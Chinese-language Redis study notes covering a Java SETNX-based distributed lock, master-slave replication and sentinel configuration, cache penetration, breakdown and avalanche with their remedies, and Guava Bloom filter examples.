超时锁（没有获取锁，已经获取锁） 等待获取锁的超时时间 已经获取到了锁，锁的有效期 分布式锁代码举例 public class RedisLock { private static int lockSuccess = 1; /** * @param lockKey 在Redis中创建的key值 * @param notLockTimie 尝试获取锁超时时间 * @return 返回lock成功值 */ public String getLock(String lockKey, int notLockTimie, int timeOut) { //获取Redis连接 Jedis jedis = RedisUtil.getJedis(); // 计算我们尝试获取锁超时时间 Long endTime = System.currentTimeMillis() + notLockTimie; // 当前系统时间小于endTime说明获取锁没有超时 继续循环 否则情况下推出循环 while (System.currentTimeMillis() < endTime) { String lockValue = UUID.randomUUID().toString(); // 当多个不同的jvm同时创建一个相同的rediskey 只要谁能够创建成功谁就能够获取锁 if (jedis.setnx(lockKey, lockValue) == lockSuccess) { // 加上有效期 jedis.expire(lockKey, timeOut / 1000); return lockValue; // 退出循环 } // 否则情况下 继续循环 } try { if (jedis != null) { jedis.close(); } } catch (Exception e) { e.printStackTrace(); } return null; } /** * 释放锁 * * @return */ public boolean unLock(String locKey, String lockValue) { //获取Redis连接 Jedis jedis = RedisUtil.getJedis(); try { // 判断获取锁的时候保证自己删除自己 if (lockValue.equals(jedis.get(locKey))) { return jedis.del(locKey) > 0 ? true : false; } } catch (Exception e) { e.printStackTrace(); } finally { if (jedis != null) { jedis.close(); } } return false; } } 测试分布式锁 private static final String LOCKKEY = "my_lock"; public static void service() { // 1.获取锁 RedisLock RedisLock = new RedisLock(); String lockValue = RedisLock.getLock(LOCKKEY, 5000, 5000); if (StringUtils.isEmpty(lockValue)) { System.out.println(Thread.currentThread().getName() + "，获取锁失败了"); return; } // 执行我们的业务逻辑 System.out.println(Thread.currentThread().getName() + "，获取锁成功:lockValue:" + lockValue); // // // 3.释放锁 // RedisLock.unLock(LOCKKEY, lockValue); } public static void main(String[] args) { service(); } 尝试获取锁为什么次数限制？ 如果我们业务逻辑5s 内没有执行完毕呢？ 分场景： 1.锁的超时时间根据业务场景来预估 2.可以自己延迟锁的时间 3.在提交事务的时候检查锁是否已经超时 如果已经超时则回滚（手动回滚）否则提交。 仅限于单机版本 主从机制&哨兵集群 Redis主从复制 背景：单个Redis如果因为某种原因宣机的话，可能会导致整个Redis服务丕可用;可以使用Redis主从复制实现一主多从主节点负责写、从节点负责读数据。. 实现Redis集群 数据的备份 读写分离 主从复制需要注意问题： 主节点会将数据采用增量或者全量形式同步给从节点保证数据的一致性问题。 主从复制原理过程： 需要在从redis服务器配置在slaveof 执行 主redis服务ip地址和端口号 xx.xx.xx.xx：6379 （主的服务） 和密码； 从Redis服务器和主Redis服务器建立Socket长连接； 采用全量和增量形式将数据同步给从Redis服务器 全量：从Redis首次启动的时候 （二进制执行dump 文件） rdb 增量：主Redis每次有新的set请求时候 aof 日志文件 传统的一主多同步效率比较 建议采用树状形式 主从复制还存在那些缺陷？ 如果主的节点宕机之后，可能会导致整个Redis服务不能够实现写操作需要我们人为从新修改新的主的操作。基本概念： 单个Redis如果因为某种原因宕机的话，可能会导致Redis服务不可用，可以使用主从复制实现一主多从，主节点负责写的操作，从节点负责读的操作，主节点会定期将数据同步到从节点中，保证数据一致性的问题。 相关配置Redis.conf #replicaof slaveof xxx.xxx.xxx.xxx 6379 masterauth 123456 info replication 该主从同步方式存在 如果从节点非常多的话，会导致对主节点同步多个从节点压力非常大 可以采用树状类型解决该问题 主从复制数据同步的过程 Redis从节点向主节点建立socket连接 Redis采用全量或者增量的形式将数据同步给从节点 从Redis2.8版本以后 过程采用增量和全量同步 全量复制：一般用于在初次的复制场景（从节点与主节点一次建立） 增量复制：网络出现问题，从节点再次连接主节点时，主节点补发缺少的数据，每次数据增量同步 master: slave: 主从复制存在那些缺陷 如果主节点存在了问题，整个Redis环境是不可以实现写的操作，需要人工更改配置变为主操作 如何解决该问题：使用哨兵机制可以帮助解决Redis集群主从选举策略。 Redis哨兵机制 Redis的哨兵机制就是解决我们以上主从复制存在缺陷（选举问题），解决问题保证我们的Redis高可用，实现自动化故障发现与故障转移。 哨兵机制原理 哨兵机制每个10s时间只需要配置监听我们的主节点就可以获取当前整个Redis集群的环境列表，采用info 命令形式。 哨兵不建议是单机的，最好每个Redis节点都需要配置哨兵监听。 哨兵集群原理是如何：多个哨兵都执行同一个主的master节点，订阅到相同都通道，有新的哨兵加入都会向通道中发送自己服务的信息，该通道的订阅者可以发现新哨兵的加入，随后相互建立长连接。(类似于mq) Master的故障发现 单个哨兵会向主的master节点发送ping的命令，如果master节点没有及时的响应，哨兵会认为该master节点为“主观不可用状态”会发送给其他都哨兵确认该Master节点是否不可用，当前确认的哨兵节点数>=quorum(可配置)，会实现重新选举。 相关核心配置 vi sentinel.conf sentinel monitor mymaster 192.168.xx.xx 6379 2 sentinel auth-pass mymaster 123456 设置后台启动 修改配置 Master 设置两个slave Slave 1号slave 停止master服务 完成了主备切换 sentinel down-after-milliseconds mymaster 3000 sentinel心跳检测主3秒内无响应，视为挂掉，开始切换其他从为主 sentinel parallel-syncs mymaster 1 每次最多可以有1个从同步主。一个从同步结束，另一个从开始同步。 sentinel failover-timeout mymaster 18000 主从切换超时时间 注意： 在分布式领域不可能实现绝对强一致性 毕竟是有网络原因 Redis的主从复制作用： 单个Redis如果因为某种原因宕机的话，可能会导致整个Redis服务不可用； 可以使用Redis主从复制实现一主多从 主节点负责写、从节点负责读数据。 主节点会将数据采用增量或者全量形式同步给从节点保证数据的一致性问题。 缓存相关概念及解决方案 缓存穿透 缓存穿透理解 缓存穿透是指查询一个根本不存在的数据，缓存层和持久层都不会命中。在日常工作中出于容错的考虑，如果从持久层查不到数据则不写入缓存层，缓存穿透将导致不存在的数据每次请求都要到持久层去查询，失去了缓存保护后端持久的意义。 缓存穿透示意图： 缓存穿透问题可能会使后端存储负载加大，由于很多后端持久层不具备高并发性，甚至可能造成后端存储宕机。通常可以在程序中统计总调用数、缓存层命中数、如果同一个Key的缓存命中率很低，可能就是出现了缓存穿透问题。 造成缓存穿透的基本原因有两个。第一，自身业务代码或者数据出现问题（例如：set 和 get 的key不一致），第二，一些恶意攻击、爬虫等造成大量空命中（爬取线上商城商品数据，超大循环递增商品的ID） 解决方案 缓存空对象 缓存空对象：是指在持久层没有命中的情况下，对key进行set （key,null） 缓存空对象会有两个问题： value为null 不代表不占用内存空间，空值做了缓存，意味着缓存层中存了更多的键，需要更多的内存空间，比较有效的方法是针对这类数据设置一个较短的过期时间，让其自动剔除。 缓存层和存储层的数据会有一段时间窗口的不一致，可能会对业务有一定影响。例如过期时间设置为5分钟，如果此时存储层添加了这个数据，那此段时间就会出现缓存层和存储层数据的不一致，此时可以利用消息系统或者其他方式清除掉缓存层中的空对象。 布隆过滤器拦截 在访问缓存层和存储层之前，将存在的key用布隆过滤器提前保存起来，做第一层拦截，当收到一个对key请求时先用布隆过滤器验证是key否存在，如果存在在进入缓存层、存储层。可以使用bitmap做布隆过滤器。这种方法适用于数据命中不高、数据相对固定、实时性低的应用场景，代码维护较为复杂，但是缓存空间占用少。 布隆过滤器实际上是一个很长的二进制向量和一系列随机映射函数。布隆过滤器可以用于检索一个元素是否在一个集合中。 它的优点是空间效率和查询时间都远远超过一般的算法，缺点是有一定的误识别率和删除困难。 布隆过滤器拦截的算法描述： 初始状态时，BloomFilter是一个长度为m的位数组，每一位都置为0。 添加元素x时，x使用k个hash函数得到k个hash值，对m取余，对应的bit位设置为1。 判断y是否属于这个集合，对y使用k个哈希函数得到k个哈希值，对m取余，所有对应的位置都是1，则认为y属于该集合（哈希冲突，可能存在误判），否则就认为y不属于该集合。可以通过增加哈希函数和增加二进制位数组的长度来降低错报率。 两种方案的对比 缓存击穿 缓存击穿的理解 系统中存在以下两个问题时需要引起注意： 当前key是一个热点key（例如一个秒杀活动），并发量非常大。 重建缓存不能在短时间完成，可能是一个复杂计算，例如复杂的SQL、多次IO、多个依赖等。在缓存失效的瞬间，有大量线程来重建缓存，造成后端负载加大，甚至可能会让应用崩溃。 对我们的服务接口api实现限流、用户授权、黑名单和白名单拦截;。 从缓存和数据库都查询不到结果的话，一样将数据库空值结果缓存到Redis，中。设置30s 的有效期避免使用同一个id对数据库攻击。 布隆过滤器 解决方案 分布式互斥锁 只允许一个线程重建缓存，其他线程等待重建缓存的线程执行完，重新从缓存获取数据即可。set(key,value,timeout) 永不过期 从缓存层面来看，确实没有设置过期时间，所以不会出现热点key过期后产生的问题，也就是“物理”不过期。 从功能层面来看，为每个value设置一个逻辑过期时间，当发现超过逻辑过期时间后，会使用单独的线程去更新缓 两种方案对比 分布式互斥锁：这种方案思路比较简单，但是存在一定的隐患，如果在查询数据库 + 和 重建缓存（key失效后进行了大量的计算）时间过长，也可能会存在死锁和线程池阻塞的风险，高并发情景下吞吐量会大大降低！但是这种方法能够较好地降低后端存储负载，并在一致性上做得比较好。 永远不过期：这种方案由于没有设置真正的过期时间，实际上已经不存在热点key产生的一系列危害，但是会存在数据不一致的情况，同时代码复杂度会增大。 缓存雪崩 概念理解 如果缓存集中在一段时间内失效，发生大量的缓存穿透，所有的查询都落在数据库上，造成了缓存雪崩。 这个没有完美解决办法，但可以分析用户行为，尽量让失效时间点均匀分布。大多数系统设计者考虑用加锁或者队列的方式保证缓存的单线程（进程）写，从而避免失效时大量的并发请求落到底层存储系统上。 解决方案 缓存层高可用 可以把缓存层设计成高可用的，即使个别节点、个别机器、甚至是机房宕掉，依然可以提供服务。利用sentinel或cluster实现。 做二级缓存，或者双缓存策略： 采用多级缓存，本地进程作为一级缓存，redis作为二级缓存，不同级别的缓存设置的超时时间不同，即使某级缓存过期了，也有其他级别缓存兜底 数据预热 可以通过缓存reload机制，预先去更新缓存，再即将发生大并发访问前手动触发加载缓存不同的key，设置不同的过期时间，让缓存失效的时间点尽量均匀 加锁排队. 限流-- 限流算法. 1.计数 2.滑动窗口 3. 令牌桶Token Bucket 4.漏桶 leaky bucket 在缓存失效后，通过加锁或者队列来控制读数据库写缓存的线程数量。比如对某个key只允许一个线程查询数据和写缓存，其他线程等待。 业界比较常用的做法，是使用mutex。简单地来说，就是在缓存失效的时候（判断拿出来的值为空），不是立即去load db，而是先使用缓存工具的某些带成功操作返回值的操作（比如Redis的SETNX或者Memcache的ADD）去set一个mutex key，当操作返回成功时，再进行load db的操作并回设缓存；否则，就重试整个get缓存的方法。 SETNX，是「SET if Not eXists」的缩写，也就是只有不存在的时候才设置，可以利用它来实现锁的效果。 布隆过滤器 在hashmap中get方法,时间复杂度O(1 ) 首先会去判断key是否为空 然后进行hash运算 布隆过滤器适用于判断一个元素在集合中是否存在，但是可能会存在误判的问题。 /** * 假设集合中存放1000万条数据 */ private static Integer size = 10000000; public static void main(String[] args) { for(int z=0;z<5;z++) { BloomFilter integerBloomFilter = BloomFilter.create(Funnels.integerFunnel(), size); for (int i = 0; i < size; i++) { // 向我们布隆过滤器中存放100万条数据 integerBloomFilter.put(i); } ArrayList integers = new ArrayList<>(); for (int j = size; j < size + 10000; j++) { // 使用该pai判断key在布隆过滤器中是否存在 返回true 存在 false 表示不存在 if (integerBloomFilter.mightContain(j)) { // 将布隆过滤器误判的结果存放到集合中方便后期统计 integers.add(j); } } System.out.println("布隆过滤器误判的结果:" + integers.size()); // 0.03概率 数组长度730万左右 0.01 // 0.01概率 数组长度960万左右 } } } 默认0.03表示误判的概率在3% BloomFilter integerBloomFilter = BloomFilter.create(Funnels.integerFunnel(), size, 0.0000000001); 我们·可以通过修改fpp的概率来减少误判的个数，但随之numBits数组长度会变得更长，但该数组存储的都是0和1相比于传统的map或者list占用内存空间会相对小很多 实现原理 如何解决问题 二进制数组长度设置比较大，可以减少布隆误判的概率。 Java整合 <dependency> <groupId>com.google.guava</groupId> <artifactId>guava</artifactId> <version>22.0</version> </dependency> @RequestMapping("/getOrder") public OrderEntity getOrder(Integer orderId) { // 0.判断我们的布隆过滤器 if (!integerBloomFilter.mightContain(orderId)) { System.out.println("从布隆过滤器中查询不存在"); return null; } // 1.先查询Redis中数据是否存在 OrderEntity orderRedisEntity = (OrderEntity) redisTemplateUtils.getObject(orderId + ""); if (orderRedisEntity != null) { System.out.println("直接从Redis中返回数据"); return orderRedisEntity; } // 2. 查询数据库的内容 System.out.println("从DB查询数据"); OrderEntity orderDBEntity = orderMapper.getOrderById(orderId); if (orderDBEntity != null) { System.out.println("将Db数据放入到Redis中"); redisTemplateUtils.setObject(orderId + "", orderDBEntity); } return orderDBEntity; } @RequestMapping("/dbToBulong") public String dbToBulong() { // 1.从数据库预热id到布隆过滤器中 List<Integer> orderIds = orderMapper.getOrderIds(); integerBloomFilter = BloomFilter.create(Funnels.integerFunnel(), orderIds.size(), 0.01); for (int i = 0; i < orderIds.size(); i++) { // 添加到我们的布隆过滤器中 integerBloomFilter.put(orderIds.get(i)); } return "success"; }